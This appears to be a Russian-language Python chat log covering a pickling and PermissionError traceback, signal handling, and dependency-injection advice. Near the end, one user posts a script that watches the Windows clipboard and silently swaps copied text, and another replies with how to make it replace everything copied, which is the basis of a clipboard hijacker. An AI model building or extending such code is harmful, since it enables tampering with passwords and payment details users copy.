Pavel
права к каталогу?
ну вот если бы кое-кто принес полный трейсбэк, мы б может и угадали
Tishka17
А лучше ещё с запасом пару строк перед ошибкой
Вэ
Pavel
...
Вэ
А лучше ещё с запасом пару строк перед ошибкой
Дорогие проффесионалы! Кидайсте помидорами! Пытаюсь запустить прогу с гит хаба!
https://github.com/dkamm/deepcoder
Застрял на 5м пункте в описании проекта!
Выдачет ошибку "PermissionError: [WinError 5] ▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒"
Помогите запустить! чутчуть осталось!
Готов заплатить за помошь в реализации!
Вэ
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 60, in dump
ForkingPickler(file, protocol).dump(obj)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x0000000003ACDBF8>: attribute lookup <lambda> on deepcoder.dsl.impl failed
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\spawn.py", line 99, in spawn_main
new_handle = reduction.steal_handle(parent_pid, pipe_handle)
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 87, in steal_handle
_winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE)
PermissionError: [WinError 5] ▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒
Tishka17
Так cant pickle lambda или permission error?
Tishka17
+
Tishka17
Ну лямбда и на Линуксе не будет пиклиться
Alexey
А есть чат по Django?
Tishka17
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 60, in dump
ForkingPickler(file, protocol).dump(obj)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x0000000003ACDBF8>: attribute lookup <lambda> on deepcoder.dsl.impl failed
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\spawn.py", line 99, in spawn_main
new_handle = reduction.steal_handle(parent_pid, pipe_handle)
File "H:\Programs\python3.7.3\python3\lib\multiprocessing\reduction.py", line 87, in steal_handle
_winapi.DUPLICATE_SAME_ACCESS | _winapi.DUPLICATE_CLOSE_SOURCE)
PermissionError: [WinError 5] ▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒
Ты вообще уверен что скрипт рабочий?
std::mpa 🇺🇦
Alexey
Вэ
Кирилл [МСК-2]
Добрый день
Проблема с обработкой сигналов в python
Я написал хэндлер - exit_graceful:
signal.signal(signal.SIGTERM, exit_graceful)
Так же в коде в некоторых местах try-except стоит
Когда посылаю ему kill -15, то он вызывает хэндлер, но после выполнения хэндлера вываливается в соответствующий except блок
Кирилл [МСК-2]
В хэндлере есть
sys.exit(0)
Anonymous
Чуваки, сорян чутка за оффтоп, перл кто-то помнит? А то меня аж заинтересовало, что в теории делает вот эта хуня?
Egor
Andrey
Патч бармина?
Andrey
Под рутом запускал?
Anonymous
Да не.
Andrey
Зря, очень зря.
Anonymous
Да это ж не он
Andrey
Ну, это не значит что результат будет другой
Алексей
Есть какая-нибудь тулза, которая может проанализировать код и показать какие raise не перехватываются?
Проксимов
Tishka17
🍁 Jaŭhien
Ненавижу исключения
Dmytro
Yehor
Кто-то использует чистый SQL вместе Flask/Django?
Maxim
эм
Maxim
вопрос поставлен некорректно, но я, случается, использую
Vladimir
Tishka17
Gennady
Tishka17
Иногда и не sql
Yehor
Во, а теперь конкретика. Как организуете получение данных? Repository Pattern или что-то другое?
Tishka17
Да, я предпочитаю репозитрий
Yehor
Yehor
Гугл не выдаёт того что нужно
Алексей
Ненавижу исключения
Зря.
Как ещё сделать return из yield, или не городить return (status, result)?
Tishka17
Tishka17
Yehor
Не. Нету :(
Я вот думаю использовать его вместе с flask-inject, чтобы прокидывать сервис/репозиторий в class-based views
@
Кто-то есть с львовского политеха?
You
Лол
Tishka17
Tishka17
Очередной di framework?
Yehor
Tishka17
@
@
Forevka ÐΞV
Yehor
Tishka17
Tishka17
Проще руками фабрику всего написать
Tishka17
Заюзаешь такой инструмент, потом хрен выпилишь
Tishka17
И они провоцируют в класс внедрять информацию о том, как именно создавать инстансы, хотя это не их дело
vodichka
почему программа не реагирует на команду -h if ("--help" or "-h") in sys.argv:
Yehor
Pavel
Tishka17
def add_routes(app, repo):
app.add_route("/", MyView.as_view(), repo)
Tishka17
Yehor
Yehor
Спасибо)
Tishka17
Пока проект небольшой лучше так
Tishka17
Когда граф зависимостей классов станет большой просто заменишь такую фабрику на какой-нибудь фреймворк
Tishka17
Все классы не должны заметить
Egor
А для управления архивом фотографий с их бэкапированием что-то есть на python?
Chubarik
Короче скрипт меняет знаки при копировании pwd на random можно ли сделать чтобы любые знаки при копировании менялись на другие а не только те что в кавычках ? '''import win32clipboard
import time
import threading
pwd = "12345678"
random = "87654321"
def game():
while True:
win32clipboard.OpenClipboard()
if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
if clip_data == pwd:
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(random, win32clipboard.CF_UNICODETEXT)
win32clipboard.CloseClipboard()
time.sleep(0.25)
game = threading.Thread(target=game)
game.start()'''
Tishka17
Что значит "про копировании pwd на random"?
Tishka17
И что значит "любые"?
Максим
просто убери строчку if clip_data == pwd: